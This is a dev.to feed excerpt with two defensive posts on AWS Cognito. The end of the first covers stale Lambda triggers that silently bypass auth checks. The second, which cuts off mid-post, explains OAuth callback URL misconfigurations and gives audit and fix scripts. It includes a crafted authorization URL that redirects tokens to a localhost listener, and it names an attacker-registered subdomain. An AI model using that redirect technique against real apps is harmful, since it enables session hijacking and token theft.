&lt;ul&gt;
&lt;li&gt;A developer refactors the auth flow and deploys a new function with a different name&lt;/li&gt;
&lt;li&gt;An automated cleanup script removes functions with no recent invocations (the ghost trigger means no invocations, which triggers the cleanup, which ensures the ghost persists)&lt;/li&gt;
&lt;li&gt;A team migrates from Lambda-based triggers to Cognito's built-in features but forgets to remove the trigger configuration&lt;/li&gt;
&lt;li&gt;An infrastructure-as-code update removes the Lambda resource but doesn't update the Cognito user pool resource&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Cognito user pool doesn't validate that trigger targets exist. It stores the ARN and attempts to invoke it. If the function doesn't exist, the invocation fails. What happens next depends on the trigger type and the pool's error handling configuration.&lt;/p&gt;

&lt;h2&gt;
  
  
  The feedback loop that hides the problem
&lt;/h2&gt;

&lt;p&gt;Ghost triggers create a self-concealing feedback loop:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Lambda is deleted → trigger invocation fails&lt;/li&gt;
&lt;li&gt;CloudWatch logs nothing (the function doesn't exist, so there are no invocation logs)&lt;/li&gt;
&lt;li&gt;Cognito may or may not log the trigger failure (depends on advanced security settings)&lt;/li&gt;
&lt;li&gt;Authentication succeeds or fails silently (depends on trigger type)&lt;/li&gt;
&lt;li&gt;No alert fires (because the monitoring was on the Lambda function, which is deleted)&lt;/li&gt;
&lt;li&gt;Nobody notices (because the dashboard checks "is the trigger configured?" — yes — and "does the Lambda exist?" — checked against the Lambda console, which shows nothing)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The two checks exist in different dashboards. The Cognito dashboard shows a trigger is configured. The Lambda dashboard shows no function. Nobody connects the dots because the tools check each service independently.&lt;/p&gt;

&lt;h2&gt;
  
  
  What compound detection finds
&lt;/h2&gt;

&lt;p&gt;Analyzing the full configuration snapshot consisting of Cognito user pool AND Lambda function inventory together reveals what per-service checks miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ghost reference detection&lt;/strong&gt; compares every Cognito trigger ARN against the Lambda function inventory. If the trigger points to a function that doesn't exist in the snapshot, it's a ghost. This is a cross-service join: Cognito configuration references Lambda inventory. No single-service check can perform this join.&lt;/p&gt;

&lt;p&gt;For a user pool with four ghost triggers (Pre Sign-up, Pre Authentication, Custom Message, Post Confirmation), static analysis finds:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Four individual ghost findings&lt;/strong&gt; One per trigger type, each explaining what security logic is bypassed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[HIGH] Pre Sign-up trigger references deleted Lambda
       → Registration validation is bypassed. Custom blocklists,
         email domain restrictions, and CAPTCHA checks are not enforced.

[HIGH] Pre Authentication trigger references deleted Lambda
       → Login-time security checks are bypassed. IP reputation,
         device fingerprinting, and brute-force detection are not enforced.

[MEDIUM] Custom Message trigger references deleted Lambda
         → Messages use default Cognito templates. Compliance-required
           text may be missing from verification emails.

[MEDIUM] Post Confirmation trigger references deleted Lambda
         → Onboarding workflows don't execute. New users exist in
           Cognito but may not be provisioned in downstream systems.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;One compound chain&lt;/strong&gt; — &lt;code&gt;cognito_ghost_authflow&lt;/code&gt; fires when multiple ghost triggers exist on the same user pool. The compound is more severe than any individual ghost because it means the entire custom auth flow is absent, not just one check. The authentication pipeline is running on Cognito's defaults with zero custom security logic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMT satisfiability checking&lt;/strong&gt; asks: "Is there a user pool where a ghost trigger exists AND the trigger type is Pre Authentication?" Answer: sat. Witness: the specific user pool and trigger ARN. After cleanup (removing the stale trigger configuration), the query returns unsat where no ghost references remain.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Two options:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option A: Remove the stale trigger (if the Lambda is no longer needed)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Remove the trigger from the user pool configuration&lt;/span&gt;
aws cognito-idp update-user-pool &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_xxxxx &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lambda-config&lt;/span&gt; &lt;span class="s1"&gt;'{}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This clears all triggers. If some triggers are still valid, specify only those in the &lt;code&gt;lambda-config&lt;/code&gt; JSON and omit the stale ones.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option B: Re-create the Lambda (if the trigger logic is still needed)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Deploy a new function with the same logic&lt;/span&gt;
&lt;span class="c"&gt;# Update the trigger to point to the new function ARN&lt;/span&gt;
aws cognito-idp update-user-pool &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; us-east-1_xxxxx &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lambda-config&lt;/span&gt; &lt;span class="s1"&gt;'{"PreSignUp": "arn:aws:lambda:us-east-1:123:function:new-presignup"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Option A is appropriate when the custom logic was replaced by Cognito's built-in features (e.g., built-in email verification replaced a custom verification Lambda). Option B is appropriate when the custom logic is still needed and was accidentally deleted.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check your own environment
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List your user pools&lt;/span&gt;
aws cognito-idp list-user-pools &lt;span class="nt"&gt;--max-results&lt;/span&gt; 20

&lt;span class="c"&gt;# For each pool, get the trigger configuration&lt;/span&gt;
&lt;span class="nv"&gt;TRIGGERS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws cognito-idp describe-user-pool &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.UserPool.LambdaConfig | to_entries[] | .value'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# For each trigger ARN, check if the Lambda exists&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;arn &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$TRIGGERS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;func_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$arn&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oP&lt;/span&gt; &lt;span class="s1"&gt;'(?&amp;lt;=function:)[^:]+'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nv"&gt;exists&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws lambda get-function &lt;span class="nt"&gt;--function-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$func_name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;&amp;amp;1&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$exists&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"ResourceNotFoundException"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"GHOST: &lt;/span&gt;&lt;span class="nv"&gt;$arn&lt;/span&gt;&lt;span class="s2"&gt; — Lambda does not exist"&lt;/span&gt;
  &lt;span class="k"&gt;else
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"OK:    &lt;/span&gt;&lt;span class="nv"&gt;$arn&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any trigger prints &lt;code&gt;GHOST&lt;/code&gt;, you have a ghost reference. The authentication logic that trigger was supposed to enforce is not running.&lt;/p&gt;

&lt;h2&gt;
  
  
  The broader pattern
&lt;/h2&gt;

&lt;p&gt;Ghost references are not a Cognito problem. They're a lifecycle problem. Every cloud service that references another service creates the possibility of a ghost when the target is deleted without updating the reference.&lt;/p&gt;

&lt;p&gt;The most dangerous ghosts are the ones in the authentication path. Because they silently disable security logic instead of visibly breaking functionality. A ghost S3 event notification is a missed alert. A ghost Cognito Pre Authentication trigger is a disabled security check that nobody notices for months.&lt;/p&gt;

&lt;p&gt;The tools that check each service independently will never find ghosts. A ghost is by definition a cross-service inconsistency: the reference exists in Service A, the target doesn't exist in Service B. Finding it requires comparing the configuration of both services in the same analysis. That's a compound check and it's the check your scanner doesn't perform.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Ghost reference detection is a core capability of &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt;, an open-source static analysis tool with 3,000+ controls across 100+ AWS service domains. Stave evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines all from air-gapped snapshots without any cloud credentials.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>security</category>
      <category>cognito</category>
      <category>lambda</category>
    </item>
    <item>
      <title>One Callback URL Misconfiguration Leaks Every OAuth Token</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Mon, 14 Sep 2026 11:35:38 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/one-callback-url-misconfiguration-leaks-every-oauth-token-oo</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/one-callback-url-misconfiguration-leaks-every-oauth-token-oo</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Your Cognito app client has &lt;code&gt;http://localhost:3000/callback&lt;/code&gt; in its allowed callback URLs. It was added during development. Nobody removed it.&lt;/p&gt;

&lt;p&gt;That URL is now a token exfiltration endpoint. An attacker crafts an authorization link that redirects the OAuth response containing the user's access token, ID token, and refresh token to any server running on localhost. On a compromised workstation, a shared development machine, or any environment where the attacker can bind to port 3000, every token issued by your application is interceptable.&lt;/p&gt;

&lt;p&gt;OWASP ranks open redirect and OAuth misconfiguration in its Top 10. Bug bounty platforms pay consistently for callback URL findings. The fix takes thirty seconds. The misconfiguration has been live since your first sprint.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the attack works
&lt;/h2&gt;

&lt;p&gt;OAuth 2.0 authorization code flow with Cognito:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. User clicks "Login with Google/Facebook/SSO"
2. Browser redirects to Cognito's /authorize endpoint
3. User authenticates with the identity provider
4. Cognito redirects to the callback URL with the authorization code
5. App exchanges the code for tokens
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 4 is where the vulnerability lives. Cognito checks that the redirect URI matches one of the app client's allowed callback URLs. If &lt;code&gt;http://localhost:3000/callback&lt;/code&gt; is in the list, this redirect is valid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;https://your-app.auth.us-east-1.amazoncognito.com/authorize?
  client_id=abc123&amp;amp;
  response_type=code&amp;amp;
  redirect_uri=http://localhost:3000/callback&amp;amp;
  scope=openid+email+profile
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user sees a legitimate login page. They authenticate. Cognito sends the authorization code to &lt;code&gt;http://localhost:3000/callback&lt;/code&gt;. If the attacker controls what's listening on port 3000 of the user's machine, they receive the code. They exchange it for tokens. They have the user's session.&lt;/p&gt;

&lt;p&gt;With implicit grant flow (still enabled on many app clients), it's worse. The tokens are in the URL fragment directly. No code exchange needed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://localhost:3000/callback#access_token=eyJhbG...&amp;amp;id_token=eyJhbG...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker's listener on localhost receives the tokens in the URL. No additional request to Cognito. Instant session hijack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The five callback URL mistakes
&lt;/h2&gt;

&lt;p&gt;The localhost case is the most common, but not the only dangerous pattern:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. &lt;code&gt;http://localhost:3000/callback&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Development URL left in production configuration. Exploitable on any machine where the attacker can bind to the port such as compromised workstations, shared dev servers, CI runners with exposed ports.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. &lt;code&gt;http://localhost:*&lt;/code&gt; or wildcard port patterns
&lt;/h3&gt;

&lt;p&gt;Some teams add multiple localhost variants (ports 3000, 3001, 8080) or use patterns. Each port is an additional listener the attacker can target.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;code&gt;https://*.example.com/callback&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Wildcard subdomain matching. If the attacker can create any subdomain (via subdomain takeover on a decommissioned S3 bucket, Route 53 dangling CNAME, or a compromised development environment), they can register &lt;code&gt;attacker.example.com&lt;/code&gt; and receive the redirect.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. &lt;code&gt;https://example.com/callback&lt;/code&gt; without HTTPS enforcement
&lt;/h3&gt;

&lt;p&gt;If the app client allows &lt;code&gt;http://&lt;/code&gt; callbacks alongside &lt;code&gt;https://&lt;/code&gt;, a network-level attacker (coffee shop wifi, compromised router) can intercept the redirect before it reaches the legitimate server.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. &lt;code&gt;https://staging.example.com/callback&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Staging environment callback left in the production app client. If staging has weaker access controls, logging, or monitoring, the attacker redirects production tokens to the staging endpoint and extracts them from staging logs or staging's weaker database protections.&lt;/p&gt;

&lt;h2&gt;
  
  
  What your scanner checks
&lt;/h2&gt;

&lt;p&gt;Every cloud security scanner checks the Cognito app client individually:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"Is the client secret enabled?" — Maybe. Public clients (SPAs, mobile apps) don't use client secrets.&lt;/li&gt;
&lt;li&gt;"Are OAuth scopes restricted?" — Depends on the app's needs.&lt;/li&gt;
&lt;li&gt;"Is the callback URL configured?" — Yes, it's configured. The scanner sees a URL is present.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No scanner asks: "Does the callback URL list contain entries that would allow an attacker to redirect tokens to a server they control?" That's not a boolean check. It requires understanding which URL patterns are safe (production HTTPS endpoints) and which are dangerous (localhost, wildcards, HTTP, staging environments).&lt;/p&gt;

&lt;h2&gt;
  
  
  The compound pattern
&lt;/h2&gt;

&lt;p&gt;The callback URL misconfiguration alone is a vulnerability. Combined with other app client settings, it becomes a chain:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token theft + no token revocation:&lt;/strong&gt;&lt;br&gt;
App client has &lt;code&gt;EnableTokenRevocation = false&lt;/code&gt;. Once the attacker has the tokens, the legitimate user can't invalidate them. The attacker's session persists until the tokens expire which, with a refresh token, can be indefinitely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token theft + long-lived tokens:&lt;/strong&gt;&lt;br&gt;
App client has &lt;code&gt;AccessTokenValidity = 24 hours&lt;/code&gt; and &lt;code&gt;RefreshTokenValidity = 365 days&lt;/code&gt;. The attacker's window for using stolen tokens expands from minutes to a year.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token theft + implicit grant enabled:&lt;/strong&gt;&lt;br&gt;
App client has &lt;code&gt;AllowedOAuthFlows = ["implicit"]&lt;/code&gt;. Tokens appear directly in the URL with no code exchange needed. The attack is simpler and harder to detect because there's no server-side code exchange to log.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token theft + broad scopes:&lt;/strong&gt;&lt;br&gt;
App client has &lt;code&gt;AllowedOAuthScopes = ["openid", "email", "profile", "aws.cognito.signin.user.admin"]&lt;/code&gt;. The &lt;code&gt;aws.cognito.signin.user.admin&lt;/code&gt; scope allows the token holder to call Cognito user management APIs — read user attributes, change email, change password. Token theft escalates to account takeover.&lt;/p&gt;

&lt;p&gt;Each setting is individually configurable. The compound consisting of open redirect + no revocation + long-lived tokens + admin scope creates a scenario where one stolen token gives the attacker persistent, privileged, irrevocable access to the user's account and potentially to backend AWS resources via the identity pool's role mapping.&lt;/p&gt;
&lt;h2&gt;
  
  
  What compound detection finds
&lt;/h2&gt;

&lt;p&gt;Running this configuration through static analysis that checks interactions across app client settings:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Individual findings:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[HIGH]   Callback URL includes localhost entry
[MEDIUM] Token revocation disabled
[MEDIUM] Access token validity exceeds 1 hour
[LOW]    Implicit grant flow enabled alongside authorization code flow
[MEDIUM] Admin user scope included in allowed scopes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Five individual findings, three different severity levels. A security team triaging by severity works the HIGH first and queues the MEDIUMs for next sprint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compound finding:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[CRITICAL] Open redirect token theft chain
           Callback URL allows attacker-controlled redirect
           + tokens are irrevocable
           + token lifetime is 24 hours
           + admin scope grants account management
           = persistent privileged account takeover

           Fix: Remove localhost from callback URLs ($0, 30 seconds)
           Impact: Blocks the entire chain at step 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One compound finding, CRITICAL severity, with the fix that costs nothing and blocks the entire chain. The compound view changes the prioritization: this isn't a MEDIUM that can wait for next sprint. It's a CRITICAL that blocks with a 30-second fix.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List your app clients&lt;/span&gt;
aws cognito-idp list-user-pool-clients &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--max-results&lt;/span&gt; 20

&lt;span class="c"&gt;# For each client, check callback URLs&lt;/span&gt;
aws cognito-idp describe-user-pool-client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--client-id&lt;/span&gt; &amp;lt;client-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="s1"&gt;'.UserPoolClient.CallbackURLs'&lt;/span&gt;

&lt;span class="c"&gt;# Remove dangerous entries&lt;/span&gt;
aws cognito-idp update-user-pool-client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--client-id&lt;/span&gt; &amp;lt;client-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--callback-urls&lt;/span&gt; &lt;span class="s2"&gt;"https://app.example.com/callback"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remove every callback URL that isn't a production HTTPS endpoint. Specifically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Remove all &lt;code&gt;http://localhost*&lt;/code&gt; entries&lt;/li&gt;
&lt;li&gt;Remove all &lt;code&gt;http://&lt;/code&gt; entries (non-HTTPS)&lt;/li&gt;
&lt;li&gt;Remove all wildcard subdomain entries unless you control DNS for the entire domain&lt;/li&gt;
&lt;li&gt;Remove all staging/development environment entries from production app clients&lt;/li&gt;
&lt;li&gt;Separate staging and production app clients if they don't exist as separate clients already&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then fix the compound:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Enable token revocation&lt;/span&gt;
aws cognito-idp update-user-pool-client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--client-id&lt;/span&gt; &amp;lt;client-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--enable-token-revocation&lt;/span&gt;

&lt;span class="c"&gt;# Reduce token lifetime&lt;/span&gt;
aws cognito-idp update-user-pool-client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--client-id&lt;/span&gt; &amp;lt;client-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--access-token-validity&lt;/span&gt; 60 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--token-validity-units&lt;/span&gt; &lt;span class="s1"&gt;'{"AccessToken":"minutes"}'&lt;/span&gt;

&lt;span class="c"&gt;# Remove admin scope if not needed&lt;/span&gt;
aws cognito-idp update-user-pool-client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &amp;lt;pool-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--client-id&lt;/span&gt; &amp;lt;client-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--allowed-o-auth-scopes&lt;/span&gt; &lt;span class="s2"&gt;"openid"&lt;/span&gt; &lt;span class="s2"&gt;"email"&lt;/span&gt; &lt;span class="s2"&gt;"profile"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The callback URL fix blocks the chain entirely. The other fixes are defense in depth. They reduce the impact if a different token exfiltration vector is found in the future.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check your own environment
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scan all app clients across all user pools for dangerous callback URLs&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;pool &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;aws cognito-idp list-user-pools &lt;span class="nt"&gt;--max-results&lt;/span&gt; 60 &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.UserPools[].Id'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  for &lt;/span&gt;client &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;aws cognito-idp list-user-pool-clients &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pool&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--max-results&lt;/span&gt; 60 &lt;span class="se"&gt;\&lt;/span&gt;
    | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.UserPoolClients[].ClientId'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do

    &lt;/span&gt;&lt;span class="nv"&gt;callbacks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws cognito-idp describe-user-pool-client &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--user-pool-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pool&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--client-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
      | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.UserPoolClient.CallbackURLs[]?'&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for &lt;/span&gt;url &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$callbacks&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
      case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in
        &lt;/span&gt;http://localhost&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DANGEROUS: &lt;/span&gt;&lt;span class="nv"&gt;$pool&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt; (localhost)"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
        http://&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARNING:   &lt;/span&gt;&lt;span class="nv"&gt;$pool&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt; (non-HTTPS)"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
        &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARNING:   &lt;/span&gt;&lt;span class="nv"&gt;$pool&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt; (wildcard)"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
      &lt;span class="k"&gt;esac&lt;/span&gt;
    &lt;span class="k"&gt;done
  done
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any line prints &lt;code&gt;DANGEROUS&lt;/code&gt;, you have a live token exfiltration endpoint in your production OAuth configuration.&lt;/p&gt;

&lt;h2&gt;
  
  
  The thirty-second rule
&lt;/h2&gt;

